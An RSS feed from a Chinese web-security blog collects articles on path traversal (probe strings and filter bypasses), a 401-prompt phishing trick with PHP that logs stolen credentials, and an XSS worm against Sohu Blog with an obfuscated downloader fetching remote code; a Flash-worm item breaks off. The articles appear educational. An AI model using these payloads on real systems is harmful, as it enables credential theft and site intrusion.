<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>暖月 &#187; 跨站漏洞</title>
	<atom:link href="http://www.nuanyue.com/tag/%e8%b7%a8%e7%ab%99%e6%bc%8f%e6%b4%9e/feed" rel="self" type="application/rss+xml" />
	<link>http://www.nuanyue.com</link>
	<description>专注WEB、Linux及数据库应用安全</description>
	<lastBuildDate>Sun, 01 Aug 2010 01:52:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>浅析路径遍历漏洞</title>
		<link>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e.html</link>
		<comments>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e.html#comments</comments>
		<pubDate>Sat, 29 May 2010 15:47:21 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[discuz漏洞]]></category>
		<category><![CDATA[本地验证;上传]]></category>
		<category><![CDATA[跨站漏洞]]></category>
		<category><![CDATA[路径遍历]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1292</guid>
		<description><![CDATA[<h3>文/饭<a href="http://www.nuanyue.com"></a></h3>
<p>许多的Web应用程序一般会有对服务器的文件读取查看的功能，大多会用到提交的参数来指明文件名，形如：<a href="http://www.nuanyue.com/getfile=image.jgp">http://www.nuanyue.com/getfile=image.jgp</a></p>
<p>当服务器处理传送过来的image.jpg文件名后，Web应用程序即会自动添加完整路径，形如“d://site/i[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<h3>文/饭<a href="http://www.nuanyue.com"></a></h3>
<p>许多的Web应用程序一般会有对服务器的文件读取查看的功能，大多会用到提交的参数来指明文件名，形如：<a href="http://www.nuanyue.com/getfile=image.jgp">http://www.nuanyue.com/getfile=image.jgp</a></p>
<p>当服务器处理传送过来的image.jpg文件名后，Web应用程序即会自动添加完整路径，形如“d://site/images/image.jpg”，将读取的内容返回给访问者。</p>
<p>初看，在只是文件交互的一种简单的过程，但是由于文件名可以任意更改而服务器支持“~/”，“/..”等特殊符号的目录回溯，从而使攻击者越权访问或者覆盖敏感数据，如网站的配置文件、系统的核心文件，这样的缺陷被命名为路径遍历漏洞。在检查一些常规的Web应用程序时，也常常有发现，只是相对隐蔽而已。</p>
<h4>发现路径遍历漏洞</h4>
<p>路径遍历漏洞的发现，主要是对Web应用程序的文件读取交互的功能块，进行检测，面对这样的读取方式：</p>
<p>“http://www.nuanyue.com/test/downfile.jsp?filename=fan.pdf”</p>
<p>我们可以使用 “../”来作试探，比如提交Url：“getfile=/fan/fan/*53.pdf”，而系统在解析是“d://site/test/pdf/fan/fan/../../*53.pdf”，通过“../”跳转目录“/fan”，即“d://site/test/pdf/*53.pdf”，返回了读取文件的正常的页面。</p>
<p>路径遍历漏洞隐藏一般在文件读取或者展示图片功能块这样的通过参数提交上来的文件名，从这可以看出来过滤交互数据是完全有必要的。恶意攻击者当然后会利用对文件的读取权限进行跨越目录访问，比如访问一些受控制的文件，“../../../../../../../etc/passwd“或者”../../../../boot.ini“，当然现在部分网站都有类似Waf的防护设备，只要在数据中会有/etc /boot.ini等文件名出直接进行拦截。</p>
<h4>遍历路径攻击变异</h4>
<p>路径遍历漏洞是很常见的，在Web应用程序编写过程，会有意识的对传递过来的参数进行过滤或者直接删除，存在风险的过滤方式，一般可以采用如下方式进行突破：</p>
<p>以下是一些绕过的方法，当然在实际运行过程中，可以组合使用。</p>
<p>(1) 加密参数传递的数据；在Web应用程序对文件名进行加密之后再提交，比如：“downfile.jsp?filename= ZmFuLnBkZg- “，在参数filename用的是Base64加密，而攻击者要想绕过，只需简单的将文件名加密后再附加提交即可。所以说，采用一些有规律或者轻易能识别的加密方式，也是存在风险的。</p>
<p>(2)  编码绕过，尝试使用不同的编码转换进行过滤性的绕过，比如Url编码，通过对参数进行Url编码提交，“downfile.jsp?filename= %66%61%6E%2E%70%64%66“来绕过。</p>
<p>(3)  目录限定绕过；在有些Web应用程序是通过限定目录权限来分离的。当然这样的方法不值得可取的，攻击者可以通过某些特殊的符号“~“来绕过。形如这样的提交“downfile.jsp?filename=~/../boot”。能过这样一个符号，就可以直接跳转到硬盘目录下了。</p>
<p>(4)  绕过文件后缀过滤；一些Web应用程序在读取文件前，会对提交的文件后缀进行检测，攻击者可以在文件名后放一个空字节的编码，来绕过这样的文件类型的检查。例如：../../../../boot.ini%00.jpg，Web应用程序使用的Api会允许字符串中包含空字符，当实际获取文件名时，则由系统的Api会直接截短，而解析为“../../../../boot.ini”。在类Unix的系统中也可以使用Url编码的换行符，例如：../../../etc/passwd%0a.jpg如果文件系统在获取含有换行符的文件名，会截短为文件名。也可以尝试%20，例如: ../../../index.jsp%20</p>
<p>(5)  绕过来路验证。在一些Web应用程序中，会有对提交参数的来路进行判断的方法，而绕过的方法可以尝试通过在网站留言或者交互的地方提交Url再点击或者直接修改Http Referer即可，这主要是原因Http Referer是由客户端浏览器发送的，服务器是无法控制的，而将此变量当作一个值得信任源是错误的。</p>
<h4>防范遍历路径漏洞</h4>
<p>在防范遍历路径漏洞的方法中，最有效的是权限的控制，谨慎的处理向文件系统API传递过来的参数路径。主要是因为大多数的目录或者文件权限均没有得到合理的配置，而Web应用程序对文件的读取大多依赖于系统本身的API，在参数传递的过程，如果没有得严谨的控制，则会出现越权现象的出现。在这种情况下，Web应用程序可以采取以下防御方法，最好是组合使用。</p>
<p>(1)  数据净化，对网站用户提交过来的文件名进行硬编码或者统一编码，对文件后缀进行白名单控制，对包含了恶意的符号或者空字节进行拒绝。</p>
<p>(2)  Web应用程序可以使用chrooted环境访问包含被访问文件的目录，或者使用绝对路径+参数来控制访问目录，使其即使是越权或者跨越目录也是在指定的目录下。</p>
<h4>总结</h4>
<p>路径遍历漏洞允许恶意攻击者突破Web应用程序的安全控制，直接访问攻击者想要的敏感数据 ，包括配置文件、日志、源代码等，配合其它漏洞的综合利用，攻击者可以轻易的获取更高的权限，并且这样的漏洞在发掘上也是很容易的，只要对Web应用程序的读写功能块直接手工检测，通过返回的页面内容来判断，是很直观的，利用起来也相对简单。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e6%b5%85%e6%9e%90%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e6%bc%8f%e6%b4%9e.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>图片引发验证的社工利用</title>
		<link>http://www.nuanyue.com/%e5%9b%be%e7%89%87%e5%bc%95%e5%8f%91%e9%aa%8c%e8%af%81%e7%9a%84%e7%a4%be%e5%b7%a5%e5%88%a9%e7%94%a8.html</link>
		<comments>http://www.nuanyue.com/%e5%9b%be%e7%89%87%e5%bc%95%e5%8f%91%e9%aa%8c%e8%af%81%e7%9a%84%e7%a4%be%e5%b7%a5%e5%88%a9%e7%94%a8.html#comments</comments>
		<pubDate>Sun, 29 Nov 2009 06:52:53 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Original article | 原创文章]]></category>
		<category><![CDATA[csrf漏洞]]></category>
		<category><![CDATA[安全审计]]></category>
		<category><![CDATA[跨站漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=1029</guid>
		<description><![CDATA[<span style="color: #ff0000;">文/<a href="http://www.nuanyue.com/浅谈图片引发验证的社工利用.html">饭</a></span>

在这充满诱惑的网络，恶意攻击者的攻击手法层出不穷。而其中颇具难度的社会工程攻击在取得用户的信任的手段方面，往往更倾向于伪装用户服务提供商，或者是在用户交互时，直接进行欺骗。比较典型的网络钓鱼攻击是将用户引诱到一个通过精心设计与用户信任非常相似的钓鱼网站，让用户在不易察觉的情况下提供用户的个人敏感信息。在2004年，国内也曾出现过假冒银行的网站，比如假冒中国工商银行的网站。而这一篇文章，将主要介绍HTML语言里的图片标签引用而诱引的验证漏洞和其伪装的过程。
在milw0rm.com网站，petros发布一篇题为《Image Authentication Injection Paper + PoC》的文章，里头提到通过创建一个php文件向客户端的浏览器发送401未经授权的状态而导致浏览器显示一个登录对话框（显示给用户好像是从目标网站）发起的一个授权认证对话框，而恶意攻击者会诱使用户输入帐户或者密码之类的敏感信息从而导致钓鱼式的攻击。其流程如下：
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/41.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="图片引发验证的社工利用" src="http://www.nuanyue.com/wp-content/uploads/2009/11/41.jpg" alt="图片引发验证的社工利用" width="470" height="385" /></a></p>

HTTP是一种基于请求与响应模式的、无状态的、应用层的协议，客户端向服务器发送一个请求，请求头包含请求的方法、URL、协议版本、以及包含请求修饰符、客户 信息和内容的类似于MIME的消息结构。服务器以一个状态行作为响应，相应的内容包括消息协议的版本，成功或者错误编码加上包含服务器信息、实体元信息以及可能实体内容。对整个过程进行抓包:[......]<p class='read-more'><a href='http://www.nuanyue.com/%e5%9b%be%e7%89%87%e5%bc%95%e5%8f%91%e9%aa%8c%e8%af%81%e7%9a%84%e7%a4%be%e5%b7%a5%e5%88%a9%e7%94%a8.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p><span style="color: #ff0000;">文/<a href="http://www.nuanyue.com/浅谈图片引发验证的社工利用.html">饭</a></span></p>
<p>在这充满诱惑的网络，恶意攻击者的攻击手法层出不穷。而其中颇具难度的社会工程攻击在取得用户的信任的手段方面，往往更倾向于伪装用户服务提供商，或者是在用户交互时，直接进行欺骗。比较典型的网络钓鱼攻击是将用户引诱到一个通过精心设计与用户信任非常相似的钓鱼网站，让用户在不易察觉的情况下提供用户的个人敏感信息。在2004年，国内也曾出现过假冒银行的网站，比如假冒中国工商银行的网站。而这一篇文章，将主要介绍HTML语言里的图片标签引用而诱引的验证漏洞和其伪装的过程。<br />
在milw0rm.com网站，petros发布一篇题为《Image Authentication Injection Paper + PoC》的文章，里头提到通过创建一个php文件向客户端的浏览器发送401未经授权的状态而导致浏览器显示一个登录对话框（显示给用户好像是从目标网站）发起的一个授权认证对话框，而恶意攻击者会诱使用户输入帐户或者密码之类的敏感信息从而导致钓鱼式的攻击。其流程如下：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/41.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="图片引发验证的社工利用" src="http://www.nuanyue.com/wp-content/uploads/2009/11/41.jpg" alt="图片引发验证的社工利用" width="470" height="385" /></a></p>
<p>HTTP是一种基于请求与响应模式的、无状态的、应用层的协议，客户端向服务器发送一个请求，请求头包含请求的方法、URL、协议版本、以及包含请求修饰符、客户 信息和内容的类似于MIME的消息结构。服务器以一个状态行作为响应，相应的内容包括消息协议的版本，成功或者错误编码加上包含服务器信息、实体元信息以及可能实体内容。对整个过程进行抓包:<br />
HTTP请求：</p>

<div class="wp_codebox"><table><tr id="p10291"><td class="code" id="p1029code1"><pre class="html" style="font-family:monospace;">GET /iai.php HTTP/1.1 表示请求方法GET，请求的地址，和HTTP协议版本
Accept: */*           表示客户端可识别的内容类型列表，*/*表示所有类型
Accept-Language: zh-cn 表示客户端所能解盘的语言：简体中文
Accept-Encoding: gzip, deflate 表示客户端可以解盘的类型
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)              表示客户端浏览器型号
Host: www.test.cn 表示提交请求的页面
Connection: Keep-Alive      表示TCP连接保持打开</pre></td></tr></table></div>

<p>HTTP响应：</p>

<div class="wp_codebox"><table><tr id="p10292"><td class="code" id="p1029code2"><pre class="html" style="font-family:monospace;">HTTP/1.1 401 Unauthorized  表示HTTP协议版本，应答码是401 即未经授权访问
Date: Sat, 25 Jul 2009 11:42:27 GMT  表示当前的GMT时间
Server: Apache/2.2.3 (CentOS)  表示服务器的操作类型
X-Powered-By: PHP/5.1.6        表示服务器的脚本版本
WWW-Authenticate: Basic realm=&quot;Text&quot; 表示客户端在Authenticate头中提供的授权信息
Content-Length: 3  表示连接内容长度
Connection: close  表示TCP连接关闭
Content-Type: text/html 表示文档类型
负责响应的iai.php文件内容：
  header('WWW-Authenticate: Basic realm=&quot;Text&quot;');
  header('HTTP/1.0 401 Unauthorized');
使用了PHP中的Header()函数，发送一个原始HTTP标头[Http Header]到客户端。</pre></td></tr></table></div>

<p>钓鱼式攻击的利用，从上面流程图里，可以知道大致步骤如下：<br />
在网页里插入恶意代码<br />
插入调用远程图片的代码，形如：</p>

<div class="wp_codebox"><table><tr id="p10293"><td class="code" id="p1029code3"><pre class="html" style="font-family:monospace;">[img]http://B.com/iai.php[/img]
&lt;img src=&quot;http://B.com/iai.php&quot; alt=&quot;&quot; width=&quot;0&quot; height=&quot;0&quot; /&gt;</pre></td></tr></table></div>

<p>最好是高度宽度都为0，免得在网页里显示空白,代码如下：</p>

<div class="wp_codebox"><table><tr id="p10294"><td class="code" id="p1029code4"><pre class="html" style="font-family:monospace;">&amp;lt; !DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;
&nbsp;
&lt;img src=&quot;http://www.B.com/iai.php&quot; alt=&quot;&quot; /&gt;
&nbsp;
&lt;img src=&quot;http://www.B.com/iai.php&quot; alt=&quot;&quot; /&gt;</pre></td></tr></table></div>

<p>编写iai.php脚本这个脚本的主要功能包括返回401应答和获取提交的敏感信息，并保存。代码如下：</p>

<div class="wp_codebox"><table><tr id="p10295"><td class="code" id="p1029code5"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> ?php
    <span style="color: #000000; font-weight: bold;">global</span>  <span style="color: #000088;">$username</span><span style="color: #339933;">,</span><span style="color: #000088;">$passwd</span><span style="color: #339933;">,</span><span style="color: #000088;">$host</span><span style="color: #339933;">;</span>
      <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PHP_AUTH_USER'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
     <span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'WWW-Authenticate: Basic realm=&quot;test&quot;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'HTTP/1.0 401 Unauthorized'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
     <span style="color: #990000;">exit</span><span style="color: #339933;">;</span>
     <span style="color: #009900;">&#125;</span>
       <span style="color: #000088;">$username</span><span style="color: #339933;">=</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PHP_AUTH_USER'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
       <span style="color: #000088;">$passwd</span><span style="color: #339933;">=</span><span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'PHP_AUTH_PW'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
       <span style="color: #000088;">$host</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'HTTP_HOST'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
       <span style="color: #000088;">$myFile</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;log.txt&quot;</span><span style="color: #339933;">;</span>
       <span style="color: #000088;">$fh</span> <span style="color: #339933;">=</span> <span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$myFile</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'a'</span><span style="color: #009900;">&#41;</span> or <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;can't open file&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fh</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;网址:<span style="color: #000099; font-weight: bold;">\t</span><span style="color: #006699; font-weight: bold;">$host</span><span style="color: #000099; font-weight: bold;">\t</span><span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fh</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;usname:<span style="color: #000099; font-weight: bold;">\t</span><span style="color: #006699; font-weight: bold;">$username</span><span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fh</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;passwd:<span style="color: #000099; font-weight: bold;">\t</span><span style="color: #006699; font-weight: bold;">$passwd</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
       <span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fh</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
?<span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>当正常用户访问网站时，插在网页里的iai.php文件，即会强制弹出验证框，如图：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/21.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="图片引发验证的社工利用" src="http://www.nuanyue.com/wp-content/uploads/2009/11/21.jpg" alt="图片引发验证的社工利用" width="540" height="485" /></a></p>
<p>如果用户提交了帐户或者密码后，iai.php会在后台自动提交给远程的log.txt文件，产生内容如下：</p>
<p style="text-align: center;"><a rel="lightbox" href="http://www.nuanyue.com/wp-content/uploads/2009/11/31.jpg" target="_blank"><img class="size-full wp-image-953 aligncenter" style="margin: 0px auto 10px; text-align: center; display: block;" title="图片引发验证的社工利用" src="http://www.nuanyue.com/wp-content/uploads/2009/11/31.jpg" alt="图片引发验证的社工利用" width="540" height="199" /></a></p>
<p>通过加载脚本强制验证窗体的弹出，此社工在利用时，还是具有一定的局限性。在隐藏攻击意图时，有些不足，弹出的框，比较生硬，也可以语言措辞下进行修改，但是对一些安全意识缺失的网民来说，还是会有上当的可能。希望大家能当心，不要轻易输入敏感信息。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e5%9b%be%e7%89%87%e5%bc%95%e5%8f%91%e9%aa%8c%e8%af%81%e7%9a%84%e7%a4%be%e5%b7%a5%e5%88%a9%e7%94%a8.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>实现完整的XSS wrom流程</title>
		<link>http://www.nuanyue.com/%e5%ae%9e%e7%8e%b0%e5%ae%8c%e6%95%b4%e7%9a%84xss-wrom%e6%b5%81%e7%a8%8b.html</link>
		<comments>http://www.nuanyue.com/%e5%ae%9e%e7%8e%b0%e5%ae%8c%e6%95%b4%e7%9a%84xss-wrom%e6%b5%81%e7%a8%8b.html#comments</comments>
		<pubDate>Fri, 06 Nov 2009 05:53:07 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[csrf漏洞]]></category>
		<category><![CDATA[跨站漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=940</guid>
		<description><![CDATA[<p>文/茄子宝<br />
1.测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些.</p>

<div class="wp_codebox"><table><tr id="p9406"><td class="code" id="p940code6"><pre class="css" style="font-family:monospace;"><span style="color: #ff0000;">''</span><span style="color: #00AA00;">;:</span>!--<span style="color: #ff0000;">&#34;=&#38;amp;#{()} <span style="color: #000099; font-weight: bold;">\/</span></span></pre></td></tr></table></div>

<p>结果</p>
<p>&#8221;;:!&#8211;&#8221;=&#38;#{()} /[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e5%ae%9e%e7%8e%b0%e5%ae%8c%e6%95%b4%e7%9a%84xss-wrom%e6%b5%81%e7%a8%8b.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>文/茄子宝<br />
1.测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些.</p>

<div class="wp_codebox"><table><tr id="p94013"><td class="code" id="p940code13"><pre class="css" style="font-family:monospace;"><span style="color: #ff0000;">''</span><span style="color: #00AA00;">;:</span>!--<span style="color: #ff0000;">&quot;=&amp;amp;#{()} <span style="color: #000099; font-weight: bold;">\/</span></span></pre></td></tr></table></div>

<p>结果</p>
<p>&#8221;;:!&#8211;&#8221;=&amp;#{()} // (&amp;后是amp,论坛过滤了)</p>
<p>过滤了&#8221;javascript&#8221;,&#8221;&amp;&#8221;和&#8221;\&#8221;这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手.</p>
<p>2.测试一个XSS常用属性和两个事件,貌似没有过滤字符.</p>

<div class="wp_codebox"><table><tr id="p94014"><td class="code" id="p940code14"><pre class="css" style="font-family:monospace;">expression
onerror
onload</pre></td></tr></table></div>

<p>3.下面开始尝试构造语句.如下:</p>

<div class="wp_codebox"><table><tr id="p94015"><td class="code" id="p940code15"><pre class="css" style="font-family:monospace;">&lt;img style<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;Xss:expression(alert('xss'));&quot;</span> src<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;#&quot;</span> alt<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;&quot;</span> /<span style="color: #00AA00;">&gt;</span>
&nbsp;
&lt;img src<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;#&quot;</span> alt<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;&quot;</span> /<span style="color: #00AA00;">&gt;</span>
&nbsp;
&lt;img src<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;http://js.pp.sohu.com/ppp/blog/styles/images/welcome.jpg&quot;</span> alt<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;&quot;</span> /<span style="color: #00AA00;">&gt;</span></pre></td></tr></table></div>

<p>构造完整标记,页面输出后又全部过滤.</p>
<p>4.&#8221;/&#8221;字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句:</p>

<div class="wp_codebox"><table><tr id="p94016"><td class="code" id="p940code16"><pre class="css" style="font-family:monospace;">&lt;div style<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;xss:ex/**/pre/**/ssion(alert('xss'))&quot;</span><span style="color: #00AA00;">&gt;</span>&lt;/div<span style="color: #00AA00;">&gt;</span></pre></td></tr></table></div>

<p>5.由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现&#8221;;&#8221;字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:</p>

<div class="wp_codebox"><table><tr id="p94017"><td class="code" id="p940code17"><pre class="css" style="font-family:monospace;">&lt;div style<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;xss:ex/**/pre/**/ssion(eval(xss));&quot;</span><span style="color: #00AA00;">&gt;</span>
&nbsp;
//设置一个COOKIE在<span style="color: #cc66cc;">10</span>秒后失效<span style="color: #00AA00;">,</span>并在这条COOKIE语句中执行其他语句或函数.&lt;/div<span style="color: #00AA00;">&gt;</span></pre></td></tr></table></div>

<p>6.遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:</p>

<div class="wp_codebox"><table><tr id="p94018"><td class="code" id="p940code18"><pre class="css" style="font-family:monospace;">&lt;div style<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))&quot;</span><span style="color: #00AA00;">&gt;</span>&lt;/div<span style="color: #00AA00;">&gt;</span></pre></td></tr></table></div>

<p>7.感染流程考虑:</p>
<p>(1).BLOG页面的个人档案处是页面通用的,<br />
(2)XSS内容写到个人档案处,所有浏览者都会触发XSS<br />
(3)实现一段提交XSS内容到个人档案的代码.</p>
<p>8.个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader.</p>
<p>主要代码:</p>

<div class="wp_codebox"><table><tr id="p94019"><td class="code" id="p940code19"><pre class="css" style="font-family:monospace;">function d<span style="color: #00AA00;">&#40;</span><span style="color: #00AA00;">&#41;</span><span style="color: #00AA00;">&#123;</span>
a<span style="color: #00AA00;">=</span>new ActiveXObject<span style="color: #00AA00;">&#40;</span><span style="color: #ff0000;">'Microsoft.XMLHTTP'</span><span style="color: #00AA00;">&#41;</span><span style="color: #00AA00;">;</span> <span style="color: #808080; font-style: italic;">/*调用XMLHTTP控件
a.Open('get','http://s0n9.blog.sohu.com/31406970.html',false);/*发出一个GET提交请求
a.send();
b=a.responseText; /*将传回值赋给变量B
eval(unescape(b.substring(b.indexOf('--|')+3,b.indexOf('|--'))));
/*用indexOf计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.
}d()
&nbsp;
http://s0n9.blog.sohu.com/31406970.html页面代码:
alert%28%27xss%27%29%3B</span></pre></td></tr></table></div>

<p>/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如&#8221;&amp;&#8221;字符会变成&#8221;&amp;&#8221;(&amp;后是amp,论坛过滤了)</p>
<p>PS:其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e5%ae%9e%e7%8e%b0%e5%ae%8c%e6%95%b4%e7%9a%84xss-wrom%e6%b5%81%e7%a8%8b.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>利用Fly_Flash蠕虫攻击开心网</title>
		<link>http://www.nuanyue.com/%e5%88%a9%e7%94%a8fly_flash%e8%a0%95%e8%99%ab%e6%94%bb%e5%87%bb%e5%bc%80%e5%bf%83%e7%bd%91.html</link>
		<comments>http://www.nuanyue.com/%e5%88%a9%e7%94%a8fly_flash%e8%a0%95%e8%99%ab%e6%94%bb%e5%87%bb%e5%bc%80%e5%bf%83%e7%bd%91.html#comments</comments>
		<pubDate>Tue, 22 Sep 2009 09:31:17 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Vulnerability order | 漏洞整理]]></category>
		<category><![CDATA[跨站漏洞]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=807</guid>
		<description><![CDATA[<p>背景说明：开心网是SNS类型网站中做得非常成功的一个站点，拥有海量的用户群，提供的服务包括照片存储与分享、日记分享、短消息与在线聊天等沟通手段、休闲游戏、在线音乐播放分享等，而其本身对安全也相对于其他网站来说有较多关注。 80sec发现开心网中的某些地方实现得并不好，存在一些安全漏洞，而某些安全漏洞[......]</p><p class='read-more'><a href='http://www.nuanyue.com/%e5%88%a9%e7%94%a8fly_flash%e8%a0%95%e8%99%ab%e6%94%bb%e5%87%bb%e5%bc%80%e5%bf%83%e7%bd%91.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>背景说明：开心网是SNS类型网站中做得非常成功的一个站点，拥有海量的用户群，提供的服务包括照片存储与分享、日记分享、短消息与在线聊天等沟通手段、休闲游戏、在线音乐播放分享等，而其本身对安全也相对于其他网站来说有较多关注。 80sec发现开心网中的某些地方实现得并不好，存在一些安全漏洞，而某些安全漏洞却对于web安全非常具有代表性，在某些情况下可能造成比较大的影响，本次攻击测试即是对问题的简单证明，同时后续会给出处理此类问题时的解决方案。</p>
<p>漏洞分析：Flash在越来越多的网站得到广泛的应用，往往被用来播放视频，游戏或者是其他复杂的用户交互功能，但是在使用Flash的时候，大部分的网站处理的时候并没有想象中那么安全，譬如在开心网的发日记的地方使用Flash的方式如下：</p>

